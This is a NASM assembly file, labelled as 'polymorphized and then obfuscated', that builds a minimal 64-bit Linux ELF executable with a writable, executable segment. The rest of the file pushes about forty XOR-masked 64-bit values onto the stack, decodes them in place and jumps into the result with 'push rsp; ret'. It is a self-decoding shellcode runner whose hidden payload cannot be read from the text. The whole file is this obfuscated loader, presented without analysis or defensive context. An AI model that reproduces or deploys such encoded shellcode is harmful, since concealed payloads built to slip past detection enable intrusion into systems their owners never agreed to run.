polymorphized and then obfuscated for lulz

[bits 64]
section .text
global _start
org 0x08048000
ehdr:                               ; Elf64_Ehdr
 db 0x7F, "ELF",                    ;   e_ident
 times 12 db      0
 dw 2                               ;   e_type
 dw 62                              ;   e_machine
 dd 1                               ;   e_version
 dq _start                          ;   e_entry
 dq phdr - $$                       ;   e_phoff
 dq 0                               ;   e_shoff
 dd 0                               ;   e_flags
 dw ehdrsize                        ;   e_ehsize
 dw phdrsize                        ;   e_phentsize
 dw 1                               ;   e_phnum
 dw 0                               ;   e_shentsize
 dw 0                               ;   e_shnum
 dw 0                               ;   e_shstrndx
 ehdrsize equ $ - ehdr
phdr:                               ; Elf64_Phdr
 dd 1                               ;   p_type
 dd 7                               ;   p_flags
 dq 0                               ;   p_offset
 dq $$                              ;   p_vaddr
 dq $$                              ;   p_paddr
 dq filesize                        ;   p_filesz
 dq filesize                        ;   p_memsz
 dq 0x1000                          ;   p_align
 phdrsize equ $ - phdr
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

_start:
    mov rax, 0xe5dfabc24a2a1d3d
    push rax
    xor dword [rsp+4], 0x264f6b3d
    xor dword [rsp], 0x2c2a5d3d

    mov rax, 0xb0494fff64855e81
    push rax
    xor dword [rsp+4], 0x246c4b38
    xor dword [rsp], 0x6f6e5f41

    mov rax, 0xcf4f301a67b36553
    push rax
    xor dword [rsp+4], 0x4c29305a
    xor dword [rsp], 0x67274057

    mov rax, 0xaa643a6a9cbf705d
    push rax
    xor dword [rsp+4], 0x6d694f68
    xor dword [rsp], 0x7c3c386c

    mov rax, 0x7af2ca84a2582e44
    push rax
    xor dword [rsp+4], 0x75625a44
    xor dword [rsp], 0x5d586e44

    mov rax, 0xa606329e4fb9c360
    push rax
    xor dword [rsp+4], 0x36233659
    xor dword [rsp], 0x44525361

    mov rax, 0xf6fb7c6463b11f64
    push rax
    xor dword [rsp+4], 0x36787c24
    xor dword [rsp], 0x63213a60

    mov rax, 0xa9473c38bea70262
    push rax
    xor dword [rsp+4], 0x6e4a493a
    xor dword [rsp], 0x5e244a53

    mov rax, 0x55cf88b4254d133d
    push rax
    xor dword [rsp+4], 0x5a5f484b
    xor dword [rsp], 0x6d4d533d

    mov rax, 0xf5472bae4a9a23ff
    push rax
    xor dword [rsp+4], 0x79622f69
    xor dword [rsp], 0x4171223f

    mov rax, 0xb66270363df5736e
    push rax
    xor dword [rsp+4], 0x352a7076
    xor dword [rsp], 0x3d79566a

    mov rax, 0xe369243f9dfa2046
    push rax
    xor dword [rsp+4], 0x2464513d
    xor dword [rsp], 0x7d796877

    mov rax, 0x7df6f0a1bf320640
    push rax
    xor dword [rsp+4], 0x72666043
    xor dword [rsp], 0x40324640

    mov rax, 0x944f6fa0709ad4e1
    push rax
    xor dword [rsp+4], 0x466a6b67
    xor dword [rsp], 0x7b714471

    mov rax, 0xab2f361321ea472b
    push rax
    xor dword [rsp+4], 0x687d3653
    xor dword [rsp], 0x2138622f

    mov rax, 0xf16b3461b2e26301
    push rax
    xor dword [rsp+4], 0x36664163
    xor dword [rsp], 0x52612b30

    mov rax, 0x23a6c2c7c96f7075
    push rax
    xor dword [rsp+4], 0x2c365226
    xor dword [rsp], 0x366f3075

    mov rax, 0x9c1a5fb06ab9fbf9
    push rax
    xor dword [rsp+4], 0x5e3f5b77
    xor dword [rsp], 0x61526b69

    mov rax, 0x8c0a5f7d50a77151
    push rax
    xor dword [rsp+4], 0x4f5b5f3d
    xor dword [rsp], 0x50655455

    mov rax, 0xf6511d33b3d33103
    push rax
    xor dword [rsp+4], 0x315c6831
    xor dword [rsp], 0x53507932

    mov rax, 0x37aea59a8545253f
    push rax
    xor dword [rsp+4], 0x383e3579
    xor dword [rsp], 0x7a45653f

    mov rax, 0xd76e5aad6cb9f2d0
    push rax
    xor dword [rsp+4], 0x654b5e6a
    xor dword [rsp], 0x67526240

    mov rax, 0x8e70752e2290607c
    push rax
    xor dword [rsp+4], 0x4d23756e
    xor dword [rsp], 0x22224578

    mov rax, 0x97740922aaaa320e
    push rax
    xor dword [rsp+4], 0x50797c20
    xor dword [rsp], 0x4a297a3f

    mov rax, 0x4bd7d0d4c4650a26
    push rax
    xor dword [rsp+4], 0x44474034
    xor dword [rsp], 0x3b654a26

    mov rax, 0x83615fe859d3e0a7
    push rax
    xor dword [rsp+4], 0x21445b2f
    xor dword [rsp], 0x52387037

    mov rax, 0xaa1477203d885f54
    push rax
    xor dword [rsp+4], 0x69447760
    xor dword [rsp], 0x3d2a7a50

    mov rax, 0x8945027fc2c0771b
    push rax
    xor dword [rsp+4], 0x4e48777d
    xor dword [rsp], 0x22433f2a

    mov rax, 0x578367d1ea83d058
    push rax
    xor dword [rsp+4], 0x58403541
    xor dword [rsp], 0x7a612f58

    mov rax, 0x2d375c636c5ef894
    push rax
    xor dword [rsp+4], 0x2d375c63
    xor dword [rsp], 0x2c5e782e

    mov rax, 0x33fd77dbfad2d642
    push rax
    xor dword [rsp+4], 0x7b3e264b
    xor dword [rsp], 0x6a332942

    mov rax, 0x2d2a324f6f30e9d6
    push rax
    xor dword [rsp+4], 0x2d2a324f
    xor dword [rsp], 0x2f30696f

    mov rax, 0x2a9e21afd7baa733
    push rax
    xor dword [rsp+4], 0x625d723f
    xor dword [rsp], 0x47595833

    mov rax, 0x41693f450c4fcb81
    push rax
    xor dword [rsp+4], 0x41693f45
    xor dword [rsp], 0x4c4f4b3a

    mov rax, 0x75f969e5ca8cc22a
    push rax
    xor dword [rsp+4], 0x3d3a3975
    xor dword [rsp], 0x5a6c3d2a

    mov rax, 0x4e26633c1b35b3ef
    push rax
    xor dword [rsp+4], 0x4e26633c
    xor dword [rsp], 0x5b353357

    mov rax, 0x2dd8a9d904debd8e
    push rax
    xor dword [rsp+4], 0x65486926
    xor dword [rsp], 0x624e2d4e

    mov rax, 0x9ef38a927c7a3f78
    push rax
    xor dword [rsp+4], 0x61634a6d
    xor dword [rsp], 0x347a3f78

    mov rax, 0x26a32c3c3f5d4406
    push rax
    xor dword [rsp+4], 0x6a4b2933
    xor dword [rsp], 0x3f5d443a

    mov rax, 0xe9d2c3bce6c3c3d5
    push rax
    xor dword [rsp+4], 0x5142532c
    xor dword [rsp], 0x76535345

    push rsp
    ret
filesize equ $ - $$